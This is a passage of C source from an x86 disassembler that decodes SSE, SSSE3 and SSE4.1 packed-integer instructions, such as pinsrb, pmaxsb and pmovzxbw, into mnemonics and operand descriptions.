        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }

}

// ====================================================================
//      0x 0f 3a 15
// ====================================================================
void __stdcall pextrw2_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pextrw ");
        MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
        if (MOD_ == 0x3) {
            OpSize = 3;
        }
        else {
            OpSize = 2;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 38 02
// ====================================================================
void __stdcall phaddd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddd ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 03
// ====================================================================
void __stdcall phaddsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 01
// ====================================================================
void __stdcall phaddw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phaddw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 41
// ====================================================================
void __stdcall phminposuw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + HORIZONTAL_SEARCH;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phminposuw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 05
// ====================================================================
void __stdcall phsubw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 06
// ====================================================================
void __stdcall phsubd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubd ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 07
// ====================================================================
void __stdcall phsubsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "phsubsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 20
// ====================================================================
void __stdcall pinsrb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 3a 22
// ====================================================================
void __stdcall pinsrd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        if (REX.W_ == 0x1) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrq ");
            OpSize = 4;
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrd ");
            OpSize = 3;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f c4
// ====================================================================
void __stdcall pinsrw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrw ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pinsrw ");
        OpSize = 108;
        MMX_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        MMX_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }

}


// ====================================================================
//      0x 0f 38 3c
// ====================================================================
void __stdcall pmaxsb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 3d
// ====================================================================
void __stdcall pmaxsd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 3e
// ====================================================================
void __stdcall pmaxuw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxuw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 3f
// ====================================================================
void __stdcall pmaxud_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxud ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 38
// ====================================================================
void __stdcall pminsb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 39
// ====================================================================
void __stdcall pminsd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 3a
// ====================================================================
void __stdcall pminuw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminuw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 3b
// ====================================================================
void __stdcall pminud_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_MINMAX;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminud ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f da
// ====================================================================
void __stdcall pminub_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminub ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminub ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f de
// ====================================================================
void __stdcall pmaxub_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxub ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxub ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f ea
// ====================================================================
void __stdcall pminsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pminsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f ee
// ====================================================================
void __stdcall pmaxsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaxsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 04
// ====================================================================
void __stdcall pmaddubsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddubsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddubsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f d7
// ====================================================================
void __stdcall pmovmskb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovmskb ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;
    }
    else {
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovmskb ");
        OpSize = 104;
        MMX_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        MMX_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_ += DECALAGE_EIP + 2;
    }

}


// ====================================================================
//      0x 0f 38 21
// ====================================================================
void __stdcall pmovsxbd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 22
// ====================================================================
void __stdcall pmovsxbq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 20
// ====================================================================
void __stdcall pmovsxbw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxbw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 25
// ====================================================================
void __stdcall pmovsxdq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxdq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 23
// ====================================================================
void __stdcall pmovsxwd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxwd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 24
// ====================================================================
void __stdcall pmovsxwq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxwq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 31
// ====================================================================
void __stdcall pmovzxbd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 32
// ====================================================================
void __stdcall pmovzxbq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 30
// ====================================================================
void __stdcall pmovzxbw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 35
// ====================================================================
void __stdcall pmovzxdq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxdq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 33
// ====================================================================
void __stdcall pmovzxwd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxwd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 34
// ====================================================================
void __stdcall pmovzxwq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxwq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 28
// ====================================================================
void __stdcall pmuldq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuldq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 40
// ====================================================================
void __stdcall pmulld_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulld ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 38 0b
// ====================================================================
void __stdcall pmulhrsw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhrsw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhrsw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f e4
// ====================================================================
void __stdcall pmulhuw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhuw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhuw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f f4
// ====================================================================
